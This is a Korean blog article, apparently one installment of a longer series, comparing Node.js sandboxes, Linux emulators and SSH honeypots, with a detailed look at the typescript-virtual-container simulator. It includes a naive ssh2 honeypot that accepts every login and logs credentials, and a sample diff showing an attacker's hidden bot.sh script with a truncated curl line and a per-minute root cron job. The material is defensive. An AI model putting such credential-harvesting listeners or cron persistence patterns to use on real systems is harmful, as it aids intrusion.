베이스 이미지는 로깅 프레임워크, 프로토콜용 플러그인 시스템, 다중 서비스 허니팟용 Docker Compose 설정을 제공해. 특정 서비스를 가짜로 만들기 위해 확장해.

Docker Hub: lyrebird/honeypot-base


4.6 Node.js에서 SSH 허니팟 구축 -- 순진한 방식, 그리고 실패하는 이유

typescript-virtual-container 이전에, Node.js에서 SSH 허니팟을 구축하는 것은 실제 ssh2 라이브러리와 수동 명령 가짜 구현을 결합하는 것을 의미했어. 매우 지루하고, 매우 불완전하지만, 이쯤에서 통과 의례 같은 거야:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // 시도 기록
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // 모두 들여보내
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // 가짜 응답
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

이것은 자격 증명과 명령을 캡처한다는 의미에서 "작동"해. 하지만 정교한 공격자가 찔러보는 순간 분명히 가짜야. uname -a가 올바른 문자열을 반환하지만 ls /etc가 "command not found"를 반환하는 건 바로 드러나. 파일시스템이 존재하지 않아. 명령이 체인되지 않아. 파이프가 작동하지 않아. 변수가 확장되지 않아.

숙련된 공격자는 처음 다섯 개의 명령 안에 허니팟을 식별할 거야. Cowrie 같은 동작을 확인하는 자동화된 스크립트도 즉시 감지할 거야. 이것이 typescript-virtual-container 작성자가 명령을 실제로 해석하는 무언가를 만들게 된 동기인 것 같아 -- 파트 5에서 더 자세히.


허니팟 계열 요약

Cowrie Kippo endlessh sshesame Lyrebird 순진한 ssh2
상호작용 수준 중간-높음 중간 제로 제로 다양 낮음
실제 SSH 프로토콜 ✅ ✅ ❌ (타르핏) ✅ 다양 ✅
셸 충실도 중간 중간 n/a 없음 다양 최소
자격 증명 캡처 ✅ ✅ ❌ ✅ ✅ ✅
명령 캡처 ✅ ✅ ❌ ✅ 다양 ✅
악성코드 캡처 ✅ ✅ ❌ ❌ ❌ ❌
SIEM 통합 ✅ 네이티브 ❌ ❌ ❌ ❌ 수동
LLM 응답 ✅ (신규) ❌ ❌ ❌ ❌ ❌
언어 Python Python C Go Docker Node.js
Node.js 네이티브 ❌ ❌ ❌ ❌ ❌ ✅
상태 ✅ 매우 활동적 ⚠️ 보관됨 ✅ 활동적 ✅ 활동적 ✅ 활동적 DIY

여기서 패턴은 꽤 명확해: 더 많은 충실도를 원할수록, 더 많은 Python을 작성해야 해. Cowrie가 진지하게 한다면 확실한 승자야 -- 수년간 전투 테스트를 거쳤고 자격 증명 이상의 것을 캡처해. endlessh와 sshesame은 진지한 위협 인텔 도구보다는 재미있는 사이드 프로젝트에 가까워. 그리고 순진한 Node.js 접근 방식은 벽에 부딪히기 전에 20% 정도밖에 못 가.


파트 5 -- typescript-virtual-container: 무엇이 간극을 채우는가

자, 여기부터 흥미로워져. 위의 모든 계열을 정리한 후, 빠진 사분면이 분명해져:

  • JS 샌드박스: 코드 격리, 셸 없음, 파일시스템 없음, SSH 없음
  • Linux 에뮬레이터: 실제 OS, 실제 셸, 실제 SSH... 하지만 150+ MB RAM, 30초 부팅, 시리얼 I/O 위에 자체 API를 구축해야 함
  • 허니팟: 가짜 셸, 프로그래밍 API 없음, Python/Go/C, Node 네이티브 아님

아무도 완전하고, 프로그래밍 가능하며, Node 네이티브인 실제 SSH, 실제 권한, 실제 가상 네트워킹, 타입 있는 TypeScript API를 가진 Linux 환경을 만들지 않았어. 그래서 그녀가 만들었지.

간단한 소개 -- 이 글에서 처음으로 제대로 언급하니까: typescript-virtual-container는 Chloé Rolzhausen이 만들었어. 프랑스 개발자로, 온라인에서는 Fortune(또는 ItsRealFortune)으로 알려져 있어. 그녀의 웹사이트와 LinkedIn에서 찾을 수 있어. 전체 프로젝트 -- 56,000줄의 TypeScript, 247개 파일, 170개 명령 -- 은 한 사람의 단독 작업이었어. 이 글의 나머지에서는 Fortune이라고 부를게. 그리고 맞아, 꽤 정신없어. 그녀의 작업을 확인해 봐!

실제로 무엇인가

typescript-virtual-container는 순수 TypeScript로 작성된 Linux 환경 시뮬레이터야. Wasm 없음. 네이티브 애드온 없음. 커널 없음. 247개 TypeScript 파일에 약 56,000줄의 소스 코드.

핵심 통찰력: ls /etc | grep passwd가 작동하게 하는 데 CPU 에뮬레이터가 필요하지 않아. 필요한 건:

  1. 경로 연산에 응답하는 메모리 내 노드 트리
  2. 모든 접근에 적용되는 POSIX 권한 모델
  3. 파이프라인, 리디렉션, 서브셸, 변수 확장을 이해하는 셸 파서
  4. ~170개의 명령 구현 (함수, 바이너리가 아님)
  5. 사용자 및 그룹 관리 시스템
  6. 이 모든 것을 SSH로 노출하는 것

이 모든 것은 커널 개입 없이 순수 TypeScript로 달성 가능해.

VirtualFileSystem

VFS는 타입이 있는 노드의 메모리 내 트리야 -- 명시적으로 "fs" 영속성 모드를 활성화하지 않는 한 디스크 I/O가 없어:

// 간소화된 내부 표현
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // 지연 로드된 플레이스홀더

모든 경로 연산은 normalizePath (., .., 심링크 해석)과 enforceAccess (요청 uid/gid에 대한 읽기/쓰기/실행 권한 확인)을 통과해. chmod, chown, 스티키 비트, setuid가 모두 구현되어 있고 실제로 적용돼. uid 1000으로 실행되는 프로세스가 root 소유의 mode 0600 파일을 읽으려고 하면, EACCES를 받아 -- 가짜 EACCES가 아니라 권한 검사에서 던져진 실제 JavaScript Error. 그 부분은 꽤 우아해.

VFS는 다음으로 직렬화돼:

  • .vfsb -- 컴팩트한 바이너리 형식 (커스텀, fflate 압축 사용) -- 이게 기본값
  • JSON 스냅샷 -- 사람이 읽을 수 있음, 디버깅에 좋음
  • TAR 아카이브 -- 실제 tar 형식으로 가져오기/내보내기 가능, 그래서 tar -xf 하면 VFS에... 그 파일들이 생겨
  • SquashFS 이미지 -- 읽기 전용 가져오기

"fs" 영속성 모드에서는 충돌 복구를 위한 write-ahead journal (WAL)을 유지해 -- 쓰기는 먼저 저널로 간 다음, 플러시 시 스냅샷으로 감. Node가 작업 중에 충돌하면, 저널이 마지막 완전한 상태를 재구성할 수 있게 해.

디스크 I/O 지연 시간을 시뮬레이션하는 FileCache 레이어도 있어. NVME_DISK_IO나 HDD_DISK_IO 같은 프로필을 구성하면 VFS가 현실적인 타이밍과 일치하도록 파일 연산을 인위적으로 지연시켜. 소프트웨어가 의도적으로 느려져서 하드웨어를 시뮬레이션하는 게 좀 웃기긴 하지만 -- 벤치마킹에 매우 유용해.

셸 인터프리터

셸 파서는 타입이 있는 AST를 생성해:

// "ls /etc | grep root && echo done"은 이렇게 파싱됨:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

실행기가 이 AST를 따라가:

  • 파이프라인의 경우, { stdin, stdout, stderr } 스트림 체인을 만들고 각 명령을 파이프된 I/O로 실행
  • 논리 연산자(&&, ||)의 경우, 왼쪽 실행 후 $?를 확인한 다음 오른쪽 실행
  • 서브셸($(...), ` `)의 경우, 실행 컨텍스트를 포크
  • 리디렉션(>file, >>file, 2>&1, <file)의 경우, 실행 전 스트림 배선 설정
  • 백그라운드 작업(cmd &)의 경우, 완료를 기다리지 않고 실행
  • 변수의 경우, $VAR, ${VAR:-default}, ${#VAR}, 산술 $((expr)) 확장
  • 중괄호 확장({a,b,c}, {1..5})의 경우, 실행 전 전체 확장 목록 생성

이 모든 것은 실제 POSIX 셸 동작이야. 파서는 히어독, 프로세스 치환, 글롭(*, ?, [abc]), 따옴표 처리(작은따옴표, 보간이 있는 큰따옴표, 백슬래시 이스케이프)를 처리해. 완벽하지는 않아 -- 엣지 케이스가 존재해 -- 하지만 TypeScript 프로젝트에서 기대하는 것보다 훨씬 뛰어나.

~170개의 내장 명령

명령은 명령 레지스트리에 등록된 TypeScript 함수야. stdin/stdout/stderr 스트림, VFS, 사용자 세션, 셸 환경, 서브모듈에 대한 접근 권한이 있는 CommandContext를 받아.

170개의 Unix 명령 구현을 작성하는 건... 정말 많은 일이야. 일부는 간단하고(echo, true, false), 일부는 놀라울 정도로 복잡해(awk, find, tar). 완전한 POSIX awk를 TypeScript로? 그건 진짜 정신없어. 다음은 그중 일부 샘플이야:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (클라이언트 측, 외부 연결),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (스텁), python3 (스텁), node (스텁),
nano (전체 대화형 편집기), vim (기본), vi (기본),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (시뮬레이션), systemctl (스텁), journalctl (스텁),
...그 외 ~130개 더

"스텁"(git, python3, node)은 일반적인 호출에 현실적으로 응답해 -- python3 --version은 그럴듯한 버전 문자열을 반환하고, git status는 가짜 저장소 상태를 보여줘 -- 실제 작업을 수행하지 않고. 허니팟의 경우, 실제보다 더 유용해. 공격자가 실행하려는 것을 관찰할 수 있으면서 아무것도 실행하지 않기 때문이야.

SSH 서버

SSH 레이어는 실제 ssh2 npm 패키지를 사용해 -- 실제 SSH 프로토콜, 실제 키 교환, 실제 암호화. SSHMimic이 그것을 감싸:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// 실제 SSH: ssh -p 2222 root@localhost
// 실제 SFTP: sftp -P 2222 root@localhost
// 실제 SCP: scp -P 2222 file root@localhost:/tmp/

shellProperties는 uname -a, lsb_release -a, neofetch, /proc/version, /etc/os-release가 보고하는 내용을 결정해. 어떤 Linux 배포판과 커널 버전이든 설득력 있게 사칭할 수 있어 -- 실제 SSH 클라이언트에게는 말 그대로 차이를 알 방법이 없어.

HoneyPot 모듈

셸 인터프리터가 실제이고 SSH 서버가 실제이기 때문에, 공격자의 명령이 가상 환경에서 실제로 실행돼. 공격자가 트리거한 wget 요청은 대상 URL과 함께 기록돼. 공격자가 만든 파일은 VFS에 저장돼. 공격자의 권한 상승 시도는 현실적인 오류를 생성해.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// 세션 후, 파일시스템 차이 비교
const before = shell.vfs.toSnapshot();
// ... 공격자 세션 ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

이것은 질적으로 Cowrie와 달라. Cowrie의 가짜 파일시스템은 ls에 응답할 수 있지만, 공격자가 어떤 파일을 만들었고 무엇을 변경했는지 구조화된 diff로 추적할 수 없어. typescript-virtual-container는 가능해. VFS가 라이브 데이터 구조이기 때문이야 -- 모든 쓰기가 추적돼. 공격자가 방금 추가한 cron 항목? diff에 있어. 그 .hidden 폴더? diff에 있어. 악성코드 분석에 꽤 유용해.

가상 네트워크 스택

이게 아마 전체 프로젝트에서 가장 인상적인 부분일 거야. 이 공간의 다른 어떤 프로젝트와도 비교할 수 없어. VPN 지원이 있는 완전한 L2/L3 가상 네트워크 스택이 순수 TypeScript로, 실제 네트워크 어댑터 없이 작성됐어. 진짜 정신없어.

VirtualNetworkManager는 각 VirtualShell 인스턴스에 설정 가능한 IP 주소, 라우팅 테이블, 소프트웨어 방화벽(conntrack 및 NAT가 있는 iptables 스타일 규칙)이 있는 가상 네트워크 인터페이스를 제공해. ip addr, ip route, iptables -L, netstat -rn 모두 가상 네트워크 상태를 보여줘.

VirtualSwitch (Baie라고 이름 붙여짐 -- 프랑스어로 서버 랙 베이를 뜻하는 "baie informatique"에서 유래)는 공유 서브넷에서 여러 셸을 연결해. 다음을 구현해:

  • MAC 학습과 ARP
  • 서브넷 간 IP 라우팅
  • NAT (아웃바운드 masquerade)
  • DNS (서브넷별 설정 가능한 레코드)
  • 부하 분산 (라운드로빈, 최소 연결)
  • 트래픽 셰이핑: 지연 시간, 지터 (가우스 분포), 패킷 손실, 버스트 손실, 재정렬, 중복
  • 대역폭 제한 (토큰 버킷)
  • MTU 시행
  • 연결 추적 (상태 저장, NEW/ESTABLISHED/TIME_WAIT 상태 포함)
const baie = new Baie("192.168.0.0/24");

// 같은 스위치에 세 개의 가상 머신
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// 방화벽: web은 api에 도달 가능, api는 db에 도달 가능, web은 db에 직접 도달 불가
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// 트래픽 셰이핑: 외부로의 불안정한 WAN 링크 시뮬레이션
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn은 Baie 인스턴스 사이에 암호화된 터널을 생성해 -- 사이트 간 VPN 상호 연결로 다중 사이트 네트워크를 시뮬레이션할 수 있어.

VirtualProxy는 포트 포워딩과 SOCKS5 프록시를 구현해.

이 중 어느 것도 실제 네트워크 어댑터를 건드리지 않아. 모두 TypeScript 객체 라우팅이야. ping 명령은 가상 스위치를 통해 라우팅되고 시뮬레이션된 ICMP 응답을 반환함으로써 "작동"해. curl http://192.168.0.3/api는 가상 네트워크를 통해 라우팅되고, api 셸의 시뮬레이션된 HTTP 응답에 도달하며, 콘텐츠를 반환해. 가장 좋은 방법으로, 끝까지 거북이야.

SandboxedShell

더 강력한 격리가 필요한 프로그래밍 방식 사용을 위해, SandboxedShell은 Node.js Worker 스레드에서 셸 세션을 실행해:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 코어 하나의 25%
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

여기서 격리는 VFS 레이어(워커 스레드의 셸은 가상 파일시스템만 볼 수 있고 호스트 파일시스템은 절대 볼 수 없음)와 Node.js Worker 스레드 메모리 격리에 의해 강제돼. 이것은 isolated-vm보다 가볍지만 JS 수준 격리보다는 셸 수준 격리에 더 적합해.

리소스 제한

셸별 리소스 제한을 구성할 수 있고, 시스템 모니터링 명령이 보고하는 내용에 영향을 미쳐:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

그 셸 내부에서 free -m은 총 512 MB RAM을 보여줘. nproc은 2를 반환해. /proc/meminfo는 제한된 값을 보여줘. htop과 top은 제한된 CPU 수를 보여줘. 이렇게 가짜 머신의 하드웨어 프로필을 정밀하게 지문 설정할 수 있어.

세 가지 배포 모드

모드 1: SSH/SFTP 서버
  VirtualSshServer / VirtualSftpServer
  → 실제 SSH 프로토콜, 실제 SFTP, 실제 SCP
  → 사용 사례: 허니팟, 원격 테스트 환경, 교육 연구실

모드 2: 웹 셸 (브라우저)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM 번들)
  → 브라우저에서 실행, VFS가 IndexedDB에 영속화
  → 사용 사례: 대화형 튜토리얼, 내장 터미널, 데모
  → 보너스: startxfce4 실행으로 완전한 시뮬레이션된 XFCE 데스크톱

모드 3: 독립형 CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (단일 파일, 설치 불필요)
  → curl로 실행, .vfs/ 디렉토리에 VFS 영속화
  → 사용 사례: 빠른 데모, 로컬 실험

폴리필 -- Wasm 없이 브라우저 빌드가 작동하는 방식

자, 이게 내가 진짜 영리하다고 생각하고 특히 강조하고 싶었던 부분이야.

Node.js 라이브러리를 브라우저에서 실행하게 만드는 건 보통 악몽이야. Wasm 런타임(무겁고, 로드 느림)을 사용하거나 모든 node:* import를 브라우저 호환 대안으로 수동으로 바꾸는 데 몇 주를 보내야 해. Fortune은 두 번째 방법을 선택했어 -- 하지만 매우 깔끔하게, 저장소의 polyfills/ 디렉토리에 있는 커스텀 폴리필 세트를 작성함으로써.

빌드 파이프라인은 alias 항목 더미가 있는 esbuild일 뿐이야:

// demo/build.js -- 전체 브라우저 빌드 설정
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Wasm 없음. 외부 폴리필 라이브러리 없음. webpack-node-externals 넌센스 없음. 그냥 별칭된 모듈과 몇 가지 주입된 전역 변수야. 각각을 살펴보자. 일부는 진짜 인상적이야.

node:fs -- 가짜 파일시스템으로서의 IndexedDB

이게 내가 가장 좋아하는 거야. node:fs 폴리필은 동기 Node.js fs API(readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...)를 구현하는데, 두 레이어로 뒷받침돼: 동기 읽기를 위한 메모리 내 Map, 페이지 로드 간 영속성을 위한 IndexedDB. 쓰기는 즉시 Map에 기록되고(writeFileSync 직후 readFileSync가 항상 작동하도록), 그 다음 비동기적으로 백그라운드에서 IndexedDB로 플러시돼.

// 동기 캐시 (경로 → Uint8Array | null) -- 즉시 읽기
const memCache = new Map();

// 시작 시 IndexedDB의 모든 것을 memCache로 미리 로드
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

이게 브라우저에서 페이지 로드 간 VFS 스냅샷이 살아남는 이유야 -- 전체 .vfsb 바이너리가 이 폴리필을 통해 IndexedDB에 기록되고, 다음 로드 시 다시 읽혀. Wasm 없음. 서버 없음. 그냥 IndexedDB, 2011년부터 모든 브라우저에 있었어.

node:crypto -- 순수 JS의 SHA-256

Wasm 암호화 라이브러리를 가져오는 대신, crypto 폴리필은 FIPS 180-4 라운드 상수를 사용하여 SHA-256을 처음부터 구현해. 완전한 hex/base64/Uint8Array 출력 지원이 있는 166줄의 순수 JS. 라이브러리의 모든 해싱이 이를 통해 간다 -- SSH 호스트 키 지문, 내부 체크섬, 모든 것. 컴팩트하고, 제로 의존성, 그냥 작동해.

node:os -- 브라우저의 실제 하드웨어 읽기

이건 좋은 터치야. 하드코딩된 플레이스홀더 값 대신, node:os는 총 RAM에 navigator.deviceMemory를, CPU 수에 navigator.hardwareConcurrency를 읽어. 그래서 브라우저 빌드 내부의 neofetch가 실제 머신에 해당하는 것을 보고해 -- 만들어진 2코어, 2GB RAM 스텁이 아니야.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB 폴백
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // navigator.userAgent도 파싱해서 CPU 모델 문자열을 추측
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- 정직한 스텁

브라우저는 TCP 소켓을 열거나 실제 SSH를 실행할 수 없어서, 이들은 명확한 메시지와 함께 NotImplemented 오류를 던지는 스텁이야. 조용한 실패 없음, 객체가 예상되는 곳에 undefined 반환 없음. 그냥 시끄럽고 명확한 "이건 브라우저에서 작동하지 않아" -- 정확히 원하는 거야.

process.js와 buffer.js -- 주입된 전역 변수

이 둘은 esbuild의 inject 옵션을 통해 모든 번들 파일의 상단에 주입돼. 그래서 process와 Buffer가 명시적인 import 없이 전역적으로 사용 가능해. process.js는 작아: env, version, platform: 'browser', queueMicrotask를 통한 nextTick, performance.now()를 통한 uptime. buffer.js는 Uint8Array 위의 완전한 Buffer 재구현이야 -- SSH 구현과 VFS가 의존하는 모든 readUInt32BE, writeInt16LE, hex/base64 인코딩 메서드.


전체 폴리필 세트는 약 640줄의 손으로 작성된 JS야. npm 패키지 없음. Wasm 없음. 그리고 결과는 라이브러리 그 자체인 브라우저 번들이야. 네이티브로 실행되며, Node 우선 라이브러리에서 흔히 있는 "근데 브라우저에서 실제로 작동해?" 불안이 전혀 없어. 궁금하다면 저장소의 polyfills/ 폴더를 확인해 봐 -- 각 파일이 잘 포함되어 있고 그 자체로 읽을 수 있어. 내가 많이 감사하는 스타일 선택이야.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
카테고리 JS 샌드박스 JS 샌드박스 JS 샌드박스 에뮬레이터 에뮬레이터 Node.js/Wasm 허니팟 시뮬레이터
JS 격리 ⚠️ 스코프 ✅ V8 Isolate ✅ Wasm n/a n/a 부분적 n/a ✅ Worker
실제 Linux 커널 ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
셸 인터프리터 ❌ ❌ ❌ ✅ (실제) ✅ (실제) ✅ (실제) 부분적 ✅ (커스텀)
~170개 Unix 명령 ❌ ❌ ❌ ✅ ✅ 부분적 ~20 ✅
POSIX 권한 ❌ ❌ ❌ ✅ ✅ ✅ 부분적 ✅ 적용됨
사용자 관리 ❌ ❌ ❌ ✅ ✅ ❌ 최소 ✅ 완전
실제 SSH 서버 ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
허니팟/감사 ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS diff/스냅샷 ❌ ❌ ❌ 제한적 ❌ ❌ ❌ ✅
가상 네트워크 L2/L3 ❌ ❌ ❌ 기본 ❌ ❌ ❌ ✅ 완전
가상 VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
브라우저 지원 ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js 네이티브 ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
타입 있는 API 기본 ✅ ✅ 최소 ❌ ✅ ❌ ✅ 완전
바이너리 호환성 n/a n/a n/a ✅ ✅ 부분적 n/a ❌
부팅 시간 즉시 즉시 즉시 15–40초 15–40초 2–5초 즉시 <1초
RAM/인스턴스 ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
런타임 의존성 0 1 (네이티브) 1 (Wasm) 0 독점 1 Python 의존성 3 (ssh2, ws, fflate)
상태 안정 ✅ 활동적 ✅ 활동적 ✅ 매우 활동적 상용 ✅ 활동적 ✅ 활동적 ✅ 활동적

언제 무엇을 써야 할까

신뢰할 수 없는 JavaScript를 실행해야 함 -- 사용자가 제출한 공식, 플러그인, 스크립트 훅. → isolated-vm. 실제 V8 Isolate, 하드 메모리 제한, 명시적 통신 브리지. vm2는 피해 -- CVE 목록이 계속 늘어나고 있어, 진짜 몇 달마다 새로운 거야. vm도 피해 -- 전혀 샌드박스가 아니야, 제발.

JS를 샌드박스해야 하는데 네이티브 애드온을 원하지 않거나 브라우저 호환성이 필요함. → quickjs-emscripten. Wasm 경계, ~500 KB 모듈, 브라우저와 Node에서 작동. V8보다 느리지만 진정으로 격리됨.

바이너리 호환성으로 실제 수정되지 않은 Linux OS를 부팅해야 함. → 32비트 Linux는 v86, 기존 Docker 이미지가 있으면 container2wasm. 150 MB+ RAM과 30초 부팅을 받아들여야 해, 그게 조건이야. 64비트가 필요하면 CheerpX를 보거나 그냥 실제 컨테이너 런타임을 사용해.

백엔드 없이 웹 앱에 Linux 같은 터미널을 내장해야 함. → v86 (전체 OS, 무거움, 시작 느림) 또는 typescript-virtual-container의 브라우저 번들 (시뮬레이터, 더 가벼움, 즉시 부팅, 완전한 데스크톱을 위한 startxfce4 포함 -- 인정하건대 꽤 멋져).

대화형 온라인 코딩 튜토리얼이나 브라우저 IDE가 필요함. → Node.js 생태계 중심이면 WebContainers. 실제 Linux 사용자 공간이 필요하면 CheerpX. 더 가벼운 옵션과 타입 있는 API를 원하면 typescript-virtual-container의 브라우저 번들.

SSH 공격자 TTP를 대규모로 수집하고 싶음. → Cowrie가 프로덕션 표준이야, 끝. 모든 Linux 서버에서 실행되고, 모든 SIEM과 통합되며, 지금은 LLM 모드도 있어. 그냥 Cowrie를 써.

Node.js 애플리케이션에서 프로그래밍 API와 함께 SSH 허니팟 데이터를 원함. → typescript-virtual-container. 명령이 실제로 실행돼. VFS는 스냅샷과 diff를 할 수 있는 실제 데이터 구조야. 공격자는 설득력 있는 대화형 환경을 얻고, Node를 떠나지 않고 구조화된 감사 데이터를 얻어.

Docker 없이 CI에서 셸 자동화/테스트가 필요함. → typescript-virtual-container. 1초 안에 부팅, 테스트 전에 스냅샷, 후에 복원. 타입 있는 API로 셸 명령 실행. Docker 데몬, 커널, VM, 대기 시간 없음.

다중 테넌트 셸 환경이 필요함 (SaaS, 교육, 훈련). → typescript-virtual-container. 인스턴스당 5–20 MB vs. 에뮬레이터의 150–256 MB. 100명의 동시 사용자: ~2 GB vs. ~25 GB. 호스팅 비용에 큰 차이야!

다중 VM 네트워크 연구실도 구축할 수 있는 현실적인 허니팟이 필요함. → typescript-virtual-container는 이 공간에서 둘 다 하는 유일한 것이야.


할 수 없는 것 (그리고 솔직하게 말하고 싶어)

네이티브 x86 바이너리를 실행할 수 없어. C 코드를 컴파일하거나, 실제 Python 인터프리터를 실행하거나, Linux용으로 컴파일된 소프트웨어를 사용해야 한다면, 그 시스템 콜을 뒷받침할 커널 ABI가 없어. gcc, python3, node 같은 명령은 스텁이야 -- --version과 일반적인 호출에 응답하지만, 실제로 아무것도 실행하지 않아.

이게 근본적인 트레이드오프야: 10–50배 낮은 메모리, 즉시 부팅, 브라우저 호환성, 타입 있는 API, 실제 SSH, 가상 네트워킹을 얻는 대신 Linux 사용자 공간과의 바이너리 호환성을 포기해.

Fortune은 프로젝트를 설계할 때 이것에 대해 많이 생각했어. 그녀가 대상으로 한 사용 사례 -- 허니팟, 테스트, 내장 터미널, CI 환경 -- 에서는 컴파일된 바이너리를 실행할 필요가 전혀 없어. 셸 파이프라인, 파일 조작, 네트워크 라우팅, SSH로 모든 걸 커버해. 하지만 사용 사례에 실제 컴파일된 소프트웨어가 필요하다면, v86이나 Docker가 올바른 답이지, 이건 아니야.


마무리

그래, 그래. 이 생태계는 겉에서 보이는 것보다 더 넓고 더 파편화되어 있어. vm은 스코프 분리자이지 샌드박스가 아니야. vm2는 계속 CVE를 축적하고 있어 (진짜, 이번 달 권고 사항만 확인해 봐). isolated-vm은 올바른 JS 샌드박싱 답변이지만 JS 전용이야. quickjs-emscripten은 브라우저 호환이 필요하거나 네이티브 애드온을 피하려고 할 때 올바른 선택이야. v86과 CheerpX는 실제 바이너리 호환성이 필요할 때 진짜 에뮬레이터야. WebContainers는 Wasm의 Node.js이지 일반적인 Linux 환경이 아니야. Cowrie는 SSH 허니팟의 황금 표준이지만 Python이고 Node 네이티브가 아니야.

그리고 typescript-virtual-container -- Fortune의 프로젝트 -- 가 그 사이에 있어. 에뮬레이터도, JS 샌드박스도, 수동적 허니팟도 아니야. 그 모든 것 사이에 있는 무언가로, 다른 것들이 할 수 없는 많은 일에 놀라울 정도로 유용하다는 게 드러났어.

